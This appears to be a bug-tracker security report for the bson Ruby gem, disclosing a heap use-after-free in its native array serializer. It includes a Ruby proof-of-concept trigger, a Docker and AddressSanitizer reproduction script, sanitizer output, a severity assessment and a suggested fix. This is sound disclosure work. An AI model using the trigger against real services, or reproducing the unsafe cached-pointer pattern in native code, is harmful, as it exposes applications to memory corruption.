-
Type:
Bug
-
Resolution: Fixed
-
Priority:
Unknown
-
Affects Version/s: None
-
Component/s: BSON
-
None
-
None
-
Fully Compatible
-
Ruby Drivers
-
Not Needed
-
None
-
None
-
None
-
None
-
None
-
None
Summary
BSON::ByteBuffer#put_array caches a Ruby array's raw element pointer, then calls Ruby-controlled methods while iterating. If an element mutates and compacts the array during those callbacks, the native loop continues through a stale pointer and reads freed heap memory.
Affected version
- Software: bson gem
- Version: 5.2.0
- Commit: dcae7f483a262305159ae8b2711cf359f7d9af65
Details
The array serializer snapshots the array's backing pointer once with RARRAY_PTR.
ext/bson/write.c:647
VALUE rb_bson_byte_buffer_put_array(VALUE self, VALUE array){
byte_buffer_t *b = NULL;
size_t new_position = 0;
int32_t new_length = 0;
size_t position = 0;
VALUE *array_element = NULL;
...
array_element = RARRAY_PTR(array);
for(int32_t index=0; index < RARRAY_LEN(array); index++, array_element++){
pvt_put_type_byte(b, *array_element);
pvt_put_array_index(b, index);
pvt_put_field(b, self, *array_element);
Both calls inside the loop can execute arbitrary Ruby code. pvt_put_type_byte calls bson_type on unknown objects (write.c:165):
type = rb_funcall(val, rb_intern("bson_type"), 0);
pvt_put_field calls to_bson for unrecognised types (write.c:69):
rb_funcall(val, rb_intern("to_bson"), 1, rb_buffer);
If either callback triggers a Ruby array mutation followed by GC compaction, the underlying storage for array may be reallocated or freed. The local array_element pointer is not updated, so subsequent iterations dereference freed memory.
Proof of concept
require "bson" array = Array.new(100, 1) evil = Class.new do define_method(:initialize) { |a| @array= a; @mutated= false } define_method(:bson_type) do unless @mutated @mutated= true @array.replace(Array.new(200_000, 0)) GC.start GC.compact if GC.respond_to?(:compact) end BSON::Int32::BSON_TYPE end define_method(:to_bson) { |buffer| 123.to_bson(buffer) } end array[0] = evil.new(array) BSON::ByteBuffer.new.put_array(array)
AddressSanitizer output
==860==ERROR: AddressSanitizer: heap-use-after-free on address 0xffffb7c27080
READ of size 8 at 0xffffb7c27080 thread T0
#0 0xffffb5b4998c in rb_bson_byte_buffer_put_array /tmp/src/ext/bson/write.c:665
#1 0xffffbaa5fca8 in vm_call_cfunc_with_frame_ /usr/src/ruby/vm_insnhelper.c:3495
0xffffb7c27080 is located 0 bytes inside of 800-byte region
freed by thread T0 here:
#0 0xffffbae1a5a0 in __interceptor_free
../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
#1 0xffffba8adbdc in objspace_xfree /usr/src/ruby/gc.c:12832
#13 0xffffb5b49960 in rb_bson_byte_buffer_put_array /tmp/src/ext/bson/write.c:663
SUMMARY: AddressSanitizer: heap-use-after-free /tmp/src/ext/bson/write.c:665
in rb_bson_byte_buffer_put_array
Reproduction
On a machine with Docker, run:
mkdir -p dfvuln-771-bson-array-uaf cd dfvuln-771-bson-array-uaf cat > poc_put_array_uaf_min.rb <<'RUBY' require "bson" array = Array.new(100, 1) evil = Class.new do define_method(:initialize) { |a| @array = a; @mutated = false } define_method(:bson_type) do unless @mutated @mutated = true @array.replace(Array.new(200_000, 0)) GC.start GC.compact if GC.respond_to?(:compact) end BSON::Int32::BSON_TYPE end define_method(:to_bson) { |buffer| 123.to_bson(buffer) } end array[0] = evil.new(array) BSON::ByteBuffer.new.put_array(array) RUBY docker run --rm -v "$PWD":/work -w /work ruby:3.3-bookworm bash -lc ' set -eux apt-get update -qq apt-get install -y -qq git build-essential pkg-config >/dev/null git clone --depth=1 https://github.com/mongodb/bson-ruby.git src cd src git rev-parse HEAD | tee /work/commit.txt bundle config set path vendor/bundle bundle install cd ext/bson make distclean >/dev/null 2>&1 || true ruby extconf.rb --with-cflags="-O0 -g -fsanitize=address -fno-omit-frame-pointer" \ --with-ldflags="-fsanitize=address" make -j"$(nproc)" cd ../.. cp ext/bson/bson_native.so lib/ ASAN_LIB=$(gcc -print-file-name=libasan.so) set +e LD_PRELOAD="$ASAN_LIB" \ ASAN_OPTIONS="detect_leaks=0:abort_on_error=0:symbolize=1" \ ruby -Ilib /work/poc_put_array_uaf_min.rb 2>&1 | tee /work/asan.log status=${PIPESTATUS[0]} set -e test "$status" -ne 0 grep -q "ERROR: AddressSanitizer: heap-use-after-free" /work/asan.log '
This builds bson_native.so with ASan inside Docker, runs the PoC, and writes the raw sanitizer output to asan.log.
Independent confirmation
The report was reviewed against the current source tree at commit dcae7f483a262305159ae8b2711cf359f7d9af65. The defect is confirmed.
write.c:660 calls RARRAY_PTR(array) and stores the raw pointer before the loop. RARRAY_PTR is documented in the Ruby C API as unsafe to hold across any call that may invoke the Ruby runtime or GC. The loop body at lines 663--665 makes two rb_funcall calls per element. Either call can execute arbitrary Ruby, trigger GC, and cause the array to be relocated or its old backing store to be freed. The stale pointer is then dereferenced at write.c:665.
Severity assessment
Low to Medium. The defect is a genuine use-after-free in native code and is confirmed by ASan. Practical exploitability requires that attacker-controlled Ruby objects with a side-effecting bson_type implementation are present in the serialized array. In typical MongoDB driver usage, array elements are plain Ruby values (integers, strings, etc.) whose bson_type implementations are pure and do not mutate the parent array. The threat surface is narrower in standard applications but becomes more relevant in plugin or middleware architectures where arbitrary objects flow through BSON serialization. The ASan output shows a read of freed memory; on modern platforms with heap hardening, reliable code execution from a use-after-free read is unlikely but not impossible over many attempts.
Suggested fix
Remove the RARRAY_PTR snapshot and replace pointer arithmetic with rb_ary_entry, which is safe to call across Ruby callbacks:
for (int32_t index = 0; index < RARRAY_LEN(array); index++) {
VALUE element = rb_ary_entry(array, index);
pvt_put_type_byte(b, element);
pvt_put_array_index(b, index);
pvt_put_field(b, self, element);
}
Note that RARRAY_LEN should also be re-evaluated each iteration if the array length can change during iteration; alternatively, snapshot the length before the loop and raise an error if it changes.